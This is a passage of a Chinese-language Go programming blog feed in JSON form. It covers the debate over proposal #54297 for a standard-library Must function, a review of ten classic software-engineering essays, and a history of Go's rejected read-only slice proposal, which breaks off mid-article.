代码中最常见的片段，更是其错误处理哲学的基石。它强制开发者在每一个可能出错的地方，都必须直面失败的可能性。然而，当一个错误在理论上可能发生，但在实践中（尤其是在处理静态、已知的常量时）又“不可能”发生时，这种严谨性是否就变成了一种冗余的样板代码？\n这种在便利性与哲学纯粹性之间的张力并非新生事物。Go 标准库自身，就在特定场景下为我们提供了“捷径”。例如，text/template 包就提供了一个 Must 函数：\nfunc Must(t *Template, err error) *Template 它接收一个 (*Template, error)，并在 error 不为 nil 时直接 panic。这正是为了简化那些基于静态字符串、本不应失败的模板解析过程。\n这种“我断言此操作必不失败，否则就是程序级错误”的模式，可以被称为**“断言式初始化” (Assertive Initialization)**。\n这一既有模式，正是最近一个被Go技术负责人Austin Clements纳入到Active阶段的提案（#54297）的灵感来源。该提案由前Go团队成员 Brad Fitzpatrick 发起，其核心问题是：我们是否应该将这种模式从特定包的“特例”，提升为一个通用的、由标准库提供的泛型函数？\n这个看似微小的提议，却在 Go 社区引发了一场关于便利性、最佳实践与语言哲学的深度辩论，在这篇文章中，我们就一起来看看这场辩论的过程，并看看是否能从中学习到一些值得借鉴的东西。\n问题的缘起：那些“不可能失败”的失败 Brad Fitzpatrick 最初的痛点非常具体而普遍：在初始化一个 httputil.ReverseProxy 时，你需要一个 *url.URL。而创建一个 *url.URL 的标准方式是调用 url.Parse，这是一个会返回 error 的函数：\n// 常见的初始化代码 var proxy *httputil.ReverseProxy func init() { targetURL, err := url.Parse(\u0026#34;http://localhost:8080\u0026#34;) if err != nil { panic(fmt.Sprintf(\u0026#34;failed to parse URL: %v\u0026#34;, err)) } proxy = httputil.NewSingleHostReverseProxy(targetURL) } 问题在于，url.Parse(“http://localhost:8080″) 这样一个使用硬编码、静态已知的字符串的调用，在实践中是不可能失败的。为了处理这个理论上存在、但现实中永不发生的 error，我们不得不编写 3-4 行错误处理的样板代码。\n社区的“最佳实践”：Tailscale 的 must.Get Brad Fitzpatrick 在提案中顺便分享了 他所在的创业公司Tailscale 内部广泛使用的一个 must 包的实现，其核心函数 Get 极其简洁：\npackage must // Get 返回 v。如果 err 不为 nil，它会 panic。 func Get[T any](v T, err error) T { if err != nil { panic(err) } return v } 有了这个函数，之前的初始化代码可以被简化为一行优雅的表达式：\nvar targetURL = must.Get(url.Parse(\u0026#34;http://localhost:8080\u0026#34;)) 这个小小的辅助函数，其核心价值并不仅仅是减少了代码行数。正如一位评论者所指出的：\n“它更大的影响是，使得返回 error 的函数能够被用在表达式中。这常常能将一个冗长的 10-20 行过程，转换为一个 2-3 行的声明。”\n争议与权衡：一个“潘多拉魔盒”？ 尽管社区中许多开发者都分享了他们自己实现的、类似的 must 包，证明了其广泛的现实需求，但将其引入标准库的提议，依然引发了深刻的担忧。\n担忧一：滥用的风险 Ian Lance Taylor 等核心团队成员表达了他们的顾虑：如果标准库提供了一个官方的 must包及相关函数，它是否会被新手或图方便的开发者滥用作常规的错误处理机制？\n// 滥用的例子：在处理动态、不可信的用户输入时使用 must func handleRequest(r *http.Request) { // 错误的做法！这里的 err 应该被妥善处理，而不是直接 panic body := must.Get(io.ReadAll(r.Body)) // ... } 这种滥用，将与 Go 语言核心的错误处理哲学背道而驰，让本应健壮的程序变得脆弱不堪。这正是社区在讨论中反复强调的：must 模式的合法使用场景非常狭窄，它应该仅限于“断言式初始化”的范畴。\n担忧二：Must 语义的模糊性 另一位开发者提出了一个更微妙的问题：Must 的语义并非总是 if err != nil { panic(err) }。在某些特定场景下，一个包可能需要一个特殊的 Must 函数，比如它会忽略 io.EOF 错误。\n如果标准库提供了一个通用的 must，当某个包未来需要引入一个具有特殊行为的 Package.Must 时，就会造成用户的困惑和潜在的向后不兼容问题。\n“自行车棚效应”：它应该放在哪里？叫什么名字？ 提案的讨论也充分展现了“自行车棚效应”：在一个简单的问题上，人们会花费大量时间进行辩论。\n应该叫什么？ must.Get, must.Do, must.Value, errors.Must？ 应该放在哪里？ 一个新的 must 包？还是现有的 errors 包？ 其中一个颇具说服力的建议是：将其放入 errors 包，并命名为 errors.Must。这样既能体现其与 error 的相关性，又能利用现有包的“命名空间”，避免了为一个仅有 6 行代码的函数创建一个全新的包。不过关于究竟如何命名，目前尚未有定论！\n小结：目前的共识与展望 经过激烈的讨论，Go 提案评审委员会似乎已经形成了一些初步的共识：\n最初的 url.MustParse 提案没有争议，可以独立推进为url包单独添加一个MustParse的函数。 社区普遍支持在标准库中增加一个**泛型的、带返回值的类似TailScale的must.Get的函数，因为它价值最高。 对于不返回值的 must.Do(error)，以及可变参数版本的 must，团队的热情不高，因为担心其被滥用。 可能会考虑在 testing.T 中增加一个 t.Must(error) 方法，它在出错时调用 t.Fatal，这在测试代码中非常有用。 54297 提案的最终命运尚未尘埃落定，但它已经成功地将一个长期存在于 Go 社区“灰色地带”的最佳实践，推向了聚光灯下。\n这场辩论的核心，并非是否需要这个功能——无数的第三方 must 包已经证明了其价值。真正的核心在于：Go 语言作为一门以严谨和安全著称的语言，应如何以一种官方的、有引导性的方式来提供这种“便利”，同时又最大限度地防止其被误用和滥用。\n无论最终结果如何，这场关于“断言式初始化”的思考，本身就是对 Go 语言设计哲学的一次深刻反思与精彩演绎。\n资料链接：https://github.com/golang/go/issues/54297\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/07/proposal-must-do/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-must-do-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/07/proposal-must-do\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/07/proposal-must-do\"\u003ehttps://tonybai.com/2025/10/07/proposal-must-do\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eif err != nil 不仅是 Go 代码中最常见的片段，更是其\u003ca href=\"https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling\"\u003e错误处理哲学\u003c/a\u003e的基石。它强制开发者在每一个可能出错的地方，都必须直面失败的可能性。然而，当一个错误在理论上可能发生，但在实践中（尤其是在处理静态、已知的常量时）又“不可能”发生时，这种严谨性是否就变成了一种冗余的样板代码？\u003c/p\u003e\n\u003cp\u003e这种在便利性与哲学纯粹性之间的张力并非新生事物。Go 标准库自身，就在特定场景下为我们提供了“捷径”。例如，text/template 包就提供了一个 Must 函数：\u003c/p\u003e","title":"Go 标准库提供一个“Must” 函数？社区关于“断言式初始化”的思考"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/04/the-software-essays-that-shaped-me\n大家好，我是Tony Bai。\n二十年前，一位年轻的程序员在还未踏入职场时，便开始沉浸于软件开发的博客文章与深刻思考之中。二十年后，他已成为一名资深工程师，回首望去，成千上万的文字中，只有寥寥数篇真正沉淀下来，如基石般塑造了他的思维方式和职业生涯。\n这份由 Michael Lynch 精心筛选出的“思想塑造清单”，本身就是一次对软件工程领域永恒智慧的巡礼。清单中的每一篇文章，都如同一个思想的火种，点燃了关于工程文化、代码哲学、乃至技术选型的深刻辩论。\n今天，也让我们重新打开这些经典，逐一剖析其中的智慧，看看它们在瞬息万变的当下，能为我们——尤其是追求简约与高效的 Go 开发者——带来怎样历久弥新的启示。\n1. Joel 测试：衡量开发者幸福感的 12 条黄金标准 (“The Joel Test: 12 Steps to Better Code” by Joel Spolsky, 2000)\nJoel Spolsky 的这 12 个问题，与其说是对代码质量的测试，不如说是一面镜子，映照出一家公司是否真正尊重开发者的时间和心智。二十多年过去了，这些问题依然是衡量一个工程团队成熟度的“试金石”。\nDo you use source control? (你用源码控制吗？) Can you make a build in one step? (你能一步构建吗？) Do you make daily builds? (你每天都构建吗？) Do you have a bug database? (你有 Bug 数据库吗？) Do you fix bugs before writing new code? (你先修 Bug 再写新代码吗？) Do you have an up-to-date schedule? (你有最新的排期吗？) Do you have a spec? (你有需求规格说明吗？) Do programmers have quiet working conditions? (程序员有安静的工作环境吗？) Do you use the best tools money can buy? (你用钱能买到的最好工具吗？) Do you have testers? (你有测试人员吗？) Do new candidates write code during their interview? (新候选人在面试时会写代码吗？) Do you do hallway usability testing? (你做“走廊可用性测试”吗？) 虽然“每日构建”在今天已被“持续集成”(CI) 所取代，“Bug 数据库”也演变成了 Jira 或 Linear，但其精神内核——减少摩擦、自动化、系统化地管理混乱——从未过时。对于 Go 开发者而言，go build 的一步构建、go test 的内置测试、以及强大的静态分析工具链，都是对“Joel 测试”精神的现代回应。当你评估一个团队或项目时，不妨在心中过一遍这 12 个问题，它的得分，往往比任何花哨的技术栈更能说明问题。\n2. 解析，而非验证：用类型系统构建“安全默认”的代码 (“Parse, don’t validate” by Alexis King, 2019)\n这篇文章的核心论点，对于任何一个使用静态类型语言（如 Go）的开发者来说，都具有革命性的意义：“每当你验证一段数据时，你应该将它转换成一个新的类型。”\n传统（脆弱的）做法：\n// 每次使用前，都得记得调用它 func validateUsername(username string) error { ... } 这种做法的问题在于，它将验证的责任推给了开发者。你必须在代码的每一个角落，都记得去调用 validateUsername，一旦遗漏，就可能导致安全漏洞或数据损坏。\n“解析，而非验证”的哲学：\n// 定义一个全新的、无法被随意创建的类型 type Username string // 唯一的入口：一个“解析”函数，它在内部执行验证 func ParseUsername(raw string) (Username, error) { if err := validate(raw); err != nil { return \u0026#34;\u0026#34;, err } return Username(raw), nil } // 后续的业务逻辑，只接受这个被“祝福”过的类型 func GreetUser(u Username) { ... } 这种模式利用类型系统，将安全检查从一种“需要开发者时刻牢记的纪律”，转变为一种**“由编译器强制执行的保证”。一旦你有了一个 Username 类型的变量，你就拥有了一个不可辩驳的证明**——它必然是合法的。这在 Go 中极易实现，通过创建新的具名类型，我们可以轻松地在代码中构建起一道道安全的“防火墙”，让非法状态根本没有机会存在。\n3. 无银弹：正视软件开发的“本质复杂性” (“No Silver Bullet” by Fred Brooks, 1986)\n这篇来自《人月神话》作者的经典文章，将软件开发工作划分为两个核心部分：\n本质复杂性 (Essential Complexity)：与问题领域本身固有的、不可简化的复杂逻辑作斗争。例如，设计一套复杂的保险计价公式。 偶然复杂性 (Accidental Complexity)：与工具、环境和实现细节作斗争。例如，处理内存泄漏、等待编译、配置构建系统。 Brooks 的核心论点是：过去几十年软件开发效率的巨大提升，主要来自于对“偶然复杂性”的削减。但无论工具如何发展，我们永远无法消除“本质复杂性”。因此，不存在任何能够带来数量级生产力提升的“银弹”。\n这篇文章是对抗技术领域“炒作周期”的最佳解毒剂。无论是微服务、Serverless、还是当下的 AI，它们在很大程度上解决的都是“偶然复杂性”。Go 语言的诞生，其核心目标——极快的编译速度、简单的并发模型、自动的垃圾回收——本身就是对 C++ 等语言“偶然复杂性”的一次宣战。\nBrooks 的理论让我们保持清醒：即使 AI 能为我们编写代码，但定义需求、设计系统、测试复杂交互这些“本质复杂性”的工作，依然是人类工程师不可替代的价值所在。\n4. 选择的代价：为用户做明智的决定 (“Choices” by Joel Spolsky, 2000)\nJoel Spolsky 敏锐地指出：“你每提供一个选项，就是在要求用户做一次决策。” 过多的选择，尤其是那些用户并不具备足够信息来做出的选择，会中断用户的心流，带来挫败感。\n他以 Windows 98 中一个荒谬的帮助搜索设置为例，痛斥了将底层技术决策（如“最小化数据库大小”或“最大化搜索能力”）推给普通用户的设计懒政。\n这个原则不仅适用于 GUI，更适用于我们编写的任何 API 和命令行工具。当你的函数需要一大堆配置参数时，问问自己：\n这些选项真的都是必需的吗？ 我是否可以根据大多数场景，提供一个明智的、开箱即用的默认行为？ 对于必须暴露的选项，我能否通过 Go 的选项模式 (Options Pattern) 来组织它们，让简单的使用保持简单，让复杂的配置成为可能？ 一个优秀的 API 设计者，应该是一个“仁慈的独裁者”，敢于为用户承担决策的责任，只在真正必要时，才将选择的权力交还给他们。\n5. 兼容性是为用户，而非为程序 (“Application compatibility layers are there for the customer, not for the program” by Raymond Chen, 2010)\nRaymond Chen 用一个尖刻的比喻，讽刺了那些期望操作系统为他们的旧软件提供无限向后兼容性的开发者。然而，文章作者 Michael Lynch 反思后认为，这个比喻的背后，其实蕴含着一个更深刻的用户行为洞察：用户永远会选择阻力最小的路径。\n如果你发现用户在以一种“错误”但“有效”的方式使用你的系统（比如，依赖一个 Bug 来实现某个功能），那么你的责任不是嘲笑他们，而是去理解他们为何这么做，并提供一条更简单、更正确的路径来引导他们。\n这条规则对我们如今进行API设计也是大有借鉴意义的，这意味着我们需要时刻保持同理心。如果你发布了一个有 Bug 的 v1 版本，并且发现大量用户已经围绕这个 Bug 构建了他们的系统，那么在 v2 版本中，简单地“修复”这个 Bug 可能会导致大规模的破坏。\n一个更负责任的做法可能是：\n在 v2 中提供一个新的、行为正确的 API。 保留 v1 的旧 API，但将其标记为废弃，并在文档中清晰地解释其错误行为和迁移路径。 （在 Go 1.26+ 中）甚至可以利用 //go:fix 指令，为用户提供自动化的迁移工具。 6. 不要在测试中引入逻辑 (“Don’t Put Logic in Tests” by Erik Kuefler, 2014)\n我们通常被教导要在生产代码中遵循 DRY (Don’t Repeat Yourself) 原则。但 Erik Kuefler 指出，将这一原则盲目地应用到测试代码中，可能是一场灾难。\n糟糕的测试：\n// 为了“ DRY ”，我们拼接了 URL assertEquals(baseUrl + \u0026#34;/u/0/photos\u0026#34;, nav.getCurrentUrl()); 这段代码隐藏了一个微小的 Bug（多了一个斜杠），因为它需要读者在脑中进行一次字符串拼接运算才能发现问题。\n优秀的测试：\n// 清晰、直白，一眼就能看出期望的结果 assertEquals(\u0026#34;http://plus.google.com//u/0/photos\u0026#34;, nav.getCurrentUrl()); 虽然存在字符串冗余，但它的意图是一目了然的。\n测试代码的首要目标是清晰性，而非优雅或无冗余。测试代码没有它自己的测试，验证其正确性的唯一方式就是人工审查。因此，一段好的测试，应该像一篇优秀的规格说明文档，让任何一个读者都能毫不费力地理解它在断言什么。在 Go 的表驱动测试 (Table-Driven Tests) 中，这一点体现得尤为重要：绝大多数情况下，输入和期望的输出应该被清晰地、并排地列出，而不是通过复杂的辅助函数动态生成。\n7. 一点原生 JavaScript 就能做很多事 (“A little bit of plain Javascript can do a lot” by Julia Evans, 2020)\nJulia Evans 曾分享了她从一个坚定的“前端框架拥护者”转变为“原生 JavaScript 爱好者”的心路历程。在饱受了 Angular, React, Vue 等框架带来的依赖问题和复杂性的折磨后，她决定尝试只用原生 JavaScript（现代的 ES2018 标准）来构建一个 Web 界面。\n结果令她震惊：没有框架、没有构建步骤、没有 Node.js，她依然能完成 90% 的工作，而开发体验的“头痛程度”只有 5%。当出现运行时错误时，她看到的不再是经过压缩、转换的“天书”，而是她自己写的、清晰可辨的代码。\n这篇文章是对现代软件开发中“框架至上”文化的一次有力反思。它提醒我们，在引入任何一个大型框架或库之前，都应该先问自己：我真的需要这个吗？标准库或语言本身的能力是否已经足够？\n对于 Go 开发者而言，这种思想更是与语言的哲学不谋而合。Go 拥有一个极其强大的标准库（特别是 net/http），在许多场景下，你完全不需要引入像 Gin 或 Echo 这样的 Web 框架，就能构建出高性能、可维护的 Web 服务。\nJulia 的经历鼓励我们，要敢于挑战对框架的“路径依赖”，重新审视并信任我们手中工具（无论是 JavaScript 还是 Go 标准库）的内建能力。有时候，最简单的解决方案，恰恰就在我们眼前。\n8. 选择无聊的技术 (“Choose Boring Technology” by Dan McKinley, 2015)\n这篇经典文章的标题本身，就是其全部智慧的浓缩。Dan McKinley 警告我们，在启动一个新项目时，要警惕那些闪亮、前沿、充满炒作的新技术的诱惑。\n新技术：有未知的 Bug 和弱点，当你遇到问题时，社区可能还没有解决方案，你将孤立无援。 “无聊”的技术（如 Postgres, Java, Go）：虽然有其自身的问题，但经过数十年（或多年）的实战检验，它们几乎所有可能遇到的问题，都有成熟的、有据可查的解决方案。 McKinley 提出了一个有趣的模型：每个公司都有三枚**“创新代币” (innovation tokens)**。如果你想在一个项目中使用一项未经充分验证的新技术，你就必须花掉一枚代币。请明智地使用它们。\nGo 语言本身，在许多方面，已经成为了“无聊技术”的典范。它稳定、向后兼容、拥有强大的标准库和成熟的生态。当我们进行技术选型时，应该问自己：我们当前的核心问题，真的需要一个全新的、我们团队不熟悉的“闪亮新事物”来解决吗？还是说，用我们已经精通的“无聊”工具，就足以应对挑战？选择“无聊”，往往是通往项目成功最可靠的路径。\n9. 我把自己锁在了数字生活之外 (“I’ve locked myself out of my digital life” by Terence Eden, 2022)\n这篇文章以一个引人入胜的思想实验开场：如果一道闪电击中了你的房子，摧毁了你所有的电子设备，你将如何恢复你的数字生活？\n作者 Terence Eden 意识到，尽管他有密码管理器、硬件密钥和多重备份，但所有这些安全措施的“入口”，都依赖于他手边的某个设备。如果所有设备同时被毁，他将无法访问密码管理器，也无法使用硬件密钥，从而陷入一个无法恢复的死循环。\n这个故事迫使读者思考一个被我们常常忽略的问题：我们的灾难恢复计划，是否本身就依赖于那些可能会在灾难中一同消失的东西？\n这篇文章的教训，超越了个人数字安全，直指系统设计的核心——韧性 (Resilience) 和 避免单点故障。\n当我们设计一个分布式系统时，我们是否考虑过最坏的情况？\n我们的备份恢复流程，是否依赖于某个中心化的、可能会一同宕机的认证服务？ 我们的配置中心如果不可用，应用是否能以一种“降级”但仍可用的模式启动？ 在多云或混合云部署中，我们的跨区域故障转移方案，是否隐藏了对某个单一 DNS 提供商或证书颁发机构的隐式依赖？ Terence 的故事提醒我们，真正的系统韧性，不仅仅是拥有备份和冗余，更是要反复审视和测试我们的恢复路径，确保在极端情况下，我们不会发现自己“被锁在门外”。\n10. Bonus：Brad Fitzpatrick 论输入验证的“咆哮” (Brad Fitzpatrick on parsing user input, 2009)\n最后，是一段来自 Go 社区大神、Memcached 和 LiveJournal 的创造者 Brad Fitzpatrick 的“咆哮”，这段话源于一本访谈录《Coders at Work》。当被问及软件工程的伦理时，他将矛头直指糟糕的输入验证：\n“我希望每个人在他们的信用卡表单上都能保持一致，让我TMD能输入空格或连字符。计算机很擅长移除那些狗屎。别告诉我该如何格式化我的数字。”\n这段充满激情的“粗口”，完美地概括了一个核心的用户体验原则：宽进严出 (Be liberal in what you accept, be conservative in what you produce)。\n作为 API 或 UI 的设计者，我们的责任是尽可能地减轻用户的负担。计算机是用来处理繁琐、重复性工作的。如果用户输入了一个带空格的电话号码，或者一个全角的逗号，我们的程序应该默默地、智能地将其清理和格式化，而不是粗暴地拒绝并抛出一个错误。\nFitzpatrick 的“咆哮”时刻提醒着我们：每一次当你设计一个输入字段时，都要站在用户的角度思考，并记住那句话——“计算机很擅长移除那些狗屎。”\n小结：构建衡量“好”与“坏”的永恒坐标系 从 Joel Spolsky 对工程文化的拷问，到 Fred Brooks 对复杂性的深刻剖析；从 Alexis King 对类型安全的精妙论证，到 Dan McKinley 对技术选型的务实忠告…… 当我们跟随 Michael Lynch 的脚步，完成这次跨越四十年的思想巡礼后，我们收获的远不止是一份“书单”。\n技术浪潮来了又去，今天我们手中的工具，明天可能就会过时。但这些围绕着“人”的根本原则——清晰性、简单性、健壮性、同理心、风险意识——却是永恒的。它们是区分一名普通的“代码实现者”与一位真正的“软件工程师”的分水岭。\n这份清单，最终为我们构建的，是一个内心深处的、用以衡量“好”与“坏”的永恒坐标系。在未来的职业生涯中，无论面对何种炫目的新技术或棘手的工程问题，这个坐标系都将指引我们，做出更明智、更持久、也更具价值的决策。\n资料链接：https://refactoringenglish.com/blog/software-essays-that-shaped-me\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/04/the-software-essays-that-shaped-me/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-software-essays-that-shaped-me-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/04/the-software-essays-that-shaped-me\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/04/the-software-essays-that-shaped-me\"\u003ehttps://tonybai.com/2025/10/04/the-software-essays-that-shaped-me\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e二十年前，一位年轻的程序员在还未踏入职场时，便开始沉浸于软件开发的博客文章与深刻思考之中。二十年后，他已成为一名资深工程师，回首望去，成千上万的文字中，只有寥寥数篇真正沉淀下来，如基石般塑造了他的思维方式和职业生涯。\u003c/p\u003e","title":"超越时间的智慧：重读那些定义了现代软件开发的经典文章"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/02/go-archaeology-slice\n大家好，我是Tony Bai。\nslice（切片），可以说是 Go 语言中最重要、也最常用的数据结构，没有之一。我们每天都在使用它，尤其是 append 函数，它就像一个魔术师，总能“恰到好处”地为我们管理好底层数组的容量，让我们几乎感受不到内存分配的烦恼。\n但你是否想过，这份“恰到好处”的背后，隐藏着怎样的代价与权衡？append 的扩容策略，是简单的“翻倍”吗？如果不是，那它遵循着怎样一条精密的数学公式？\n更进一步，slice 的设计真的是完美的吗？它有一个与生俱来的“危险”——共享底层数组。一个不经意的函数调用，就可能导致意想不到的数据修改，引发难以追踪的 bug。Go 团队是否考虑过一种更“安全”的切片？如果考虑过，它又为何最终没有出现在我们今天的 Go 语言中？\n理解这些位于“隐秘角落”历史问题，不仅能让你写出性能更好、更安全的代码，更能让你洞悉 Go 语言设计的核心哲学——在简单性、性能和安全性之间，那永恒的、精妙的平衡艺术。\n今天，就让我们扮演一次“Go 语言考古学家”，带上放大镜和洛阳铲，深入 Go 官方的设计文档和 CL (Change List) 的历史尘埃中，去挖掘 slice 背后那两个鲜为人知的故事：一个是被遗弃的“只读切片”提案，另一个是 append 扩容策略的“精益求精”。\n失落的“伊甸园”：Read-Only Slice 提案 我们先从一个几乎所有 Gopher 都遇到过，或者未来一定会遇到的“坑”开始。看下面这段代码：\nfunc processData(data []int) { // 假设我们只是想读取 data，但某个“新手”在这里修改了它 data[0] = 100 } func main() { metrics := []int{10, 20, 30} processData(metrics) fmt.Println(\u0026#34;Original metrics:\u0026#34;, metrics) // 输出: Original metrics: [100 20 30] } 在 main 函数中，我们期望 metrics 切片在调用 processData 后保持不变。但事与愿违，它的第一个元素被意外地修改了。这就是 slice 的“原罪”——它只是底层数组的一个“视图”（指针、长度、容量）。当我们将 slice 作为参数传递时，我们传递的是这个视图的副本，但它指向的底层数组却是同一个。\n这个特性虽然带来了极高的性能（无需拷贝大量数据），但也打开了“副作用”的潘多拉魔盒。为了解决这个问题，早在 2013 年 5 月，Go 核心开发者 Brad Fitzpatrick（memcached、Go HTTP/2 等库的作者）正式提交了一份名为 “Read-only slices” 的语言变更提案。\n这份提案的目标非常明确：在语言层面引入一种新的、受限的切片类型，它在编译期就保证了其内容不可被修改。\n提案的蓝图：一个更安全的 io.Writer Brad Fitzpatrick 在提案中设想了一种 [].T 的新语法（他本人也说语法可以再讨论），并将其与 Go 中已有的“只收/只发 channel”进行类比：\nc := make(chan int) // 可读可写 var rc \u0026lt;-chan int = c // 只读 channel var sc chan\u0026lt;- int = c // 只写 channel // 设想中的未来 t := make([]T, 10) // 可读可写 slice var vt [].T = t // 只读 slice 一旦一个切片被转换为只读切片 [].T，它将失去修改自身元素的能力。这意味着，对 vt[i] = x 的赋值操作，甚至获取元素地址 \u0026amp;vt[i]，都将在编译期被禁止。\n这个提案的“杀手级应用”是什么？Brad 指向了标准库中最核心的接口之一：io.Writer。\n// 今天的 io.Writer type Writer interface { Write(p []byte) (n int, err error) } Write 方法接收一个 []byte，但没有任何机制能阻止 Write 的实现去修改 p 的内容。这其实是一种安全隐患。如果有了只读切片，io.Writer 的定义将变得更加安全和清晰：\n// 设想中的 io.Writer type Writer interface { Write(p [].byte) (n int, err error) } 接收一个只读的 [].byte，明确地告诉调用者：“我保证不会修改你的数据”。\n更妙的是，这个改动还能顺带解决 string 和 []byte 之间长期存在的“重复 API”问题。由于 string 本质上是不可变的字节序列，它可以被零成本地转换为只读的 [].byte。这意味着：\nio.WriteString 这个为了避免 string 到 []byte 转换开销而存在的辅助接口，将变得多余。我们可以直接写 writer.Write(“hello”)。 strings 和 bytes 包中大量功能重复的函数（如 Index, Contains, HasPrefix 等）可以被合并，统一接收 [].byte。 这个蓝图看起来如此美好：更高的安全性、更少的 API 冗余、更好的性能。它似乎解决了 Go 切片设计中所有令人不安的“小瑕疵”。\n然而，仅仅两周后，Go 团队的技术负责人 Russ Cox 发表了一份详尽的评估报告，以一种冷静、深刻、几乎无可辩驳的方式，最终否决了这个提案。\nRuss Cox 的“灵魂拷问”：一个看似简单的改动，如何引发系统性崩溃？ Russ Cox 的评估报告，是 Go 设计哲学的一次完美展示。他没有停留在提案美好的愿景上，而是通过亲手实现一个原型，去系统性地评估这个改动对整个语言生态带来的连锁反应。\n他的结论是：只读切片解决了一些问题，但引入了至少同样多、甚至更棘手的新问题。\n以下是他提出的几个核心论点：\n1. 问题一：从“重复”到“三倍重复”\n提案希望消除 string 和 []byte 的重复函数，但 Russ Cox 指出，这只对“纯输入”的函数有效。对于那些需要返回其输入类型子切片的函数（如 TrimSpace），问题就来了。\nfunc bytes.TrimSpace(s []byte) []byte func strings.TrimSpace(s string) string 你无法用一个 func TrimSpace(s readonly []byte) readonly []byte 来统一它们。因为调用者通常需要一个明确的 []byte（用于后续修改）或 string（用于比较、拼接），一个只读的 readonly []byte 对它们来说“不够用”。所以，这两个函数必须保留。\n更糟糕的是，现在我们有了一个新的只读类型，那么我们还需要为它提供一套完整的操作函数！于是，我们可能需要 robytes.TrimSpace。重复不仅没有消除，反而变成了三倍。\n2. 问题二：性能的“隐形杀手”——局部不可变 vs. 全局不可变\n提案的一个动机是提升性能，避免 string 和 []byte 之间的拷贝。但 Russ Cox 指出了一个更深层次的陷阱。\nstring 的内容是全局不可变 (globally immutable) 的。这意味着，一旦创建，它的内容在程序的任何地方、任何时间都不会改变。编译器和开发者都可以完全信赖这一点。\n而 readonly []byte 只是局部不可变 (locally immutable)。持有 readonly []byte 的函数不能修改它，但程序的其他地方可能持有同一个底层数组的可写 []byte 别名，并随时修改它！\n这个根本性的差异，导致了意想不到的性能退化：\n错误处理中的拷贝： 当一个函数（如 os.Open）接收 readonly []byte 路径并遇到错误时，它不能像接收 string 那样直接把路径存到 error 对象里。因为它无法保证这块 []byte 的内容在未来不会被修改，所以必须进行一次防御性拷贝。 优化的丧失： string 的全局不可变性允许编译器做很多优化。例如，strings.Replace 在发现没有子串需要替换时，可以直接返回原始 string，零成本。但如果输入是 readonly []byte，由于无法保证其全局不变性，这个优化就不能安全地进行了。 3. 问题三：接口的“分裂”与泛用性的丧失\nRuss Cox 还指出了一个对 Go 生态破坏性极大的问题：接口的分裂。以 sort.Interface 为例：\ntype Interface interface { Len() int Less(i, j int) bool Swap(i, j int) } IsSorted 函数只需要 Len 和 Less，而 Sort 函数则需要全部三个方法。如果我们要对一个 readonly []int 进行排序检查，我们就无法将它转换为 sort.Interface，因为它无法实现可写的 Swap 方法。\n解决方案是什么？可能需要定义一个新的 sort.ReadOnlyInterface，然后让 IsSorted 接收这个新接口。这会导致标准库的接口体系大规模分裂，代码的泛用性大大降低。一个简单的改动，最终波及了整个生态。\n最终的裁决：保持简单，相信开发者 在评估报告的最后，Russ Cox 给出了明确的结论：\n“It does solve some problems, but it introduces at least as many new problems… I think we should keep going with the current type system.”\n（它确实解决了一些问题，但也引入了至少同样多的新问题……我认为我们应该继续使用当前的类型系统。）\n这场关于只读切片的深刻辩论，最终以维持现状告终。Go 团队的决策，深刻地体现了其核心设计哲学：\n系统性思考： 一个语言特性的价值，必须放在整个生态系统的背景下进行评估。任何可能导致“三倍重复”或“接口分裂”的改动，都必须被极度审慎地对待。 简单性高于一切： 增加一个新的只读类型体系，会极大地增加语言的认知负担，这违背了 Go 的初衷。 约定优于强制： Go 最终选择相信开发者。一个行为良好的 Go 函数，不应该修改它不拥有的数据。这是一种代码约定 (Convention)，而非编译器强制 (Compiler Enforcement)。 只读切片，这个失落的“伊甸园”，成为了 Go 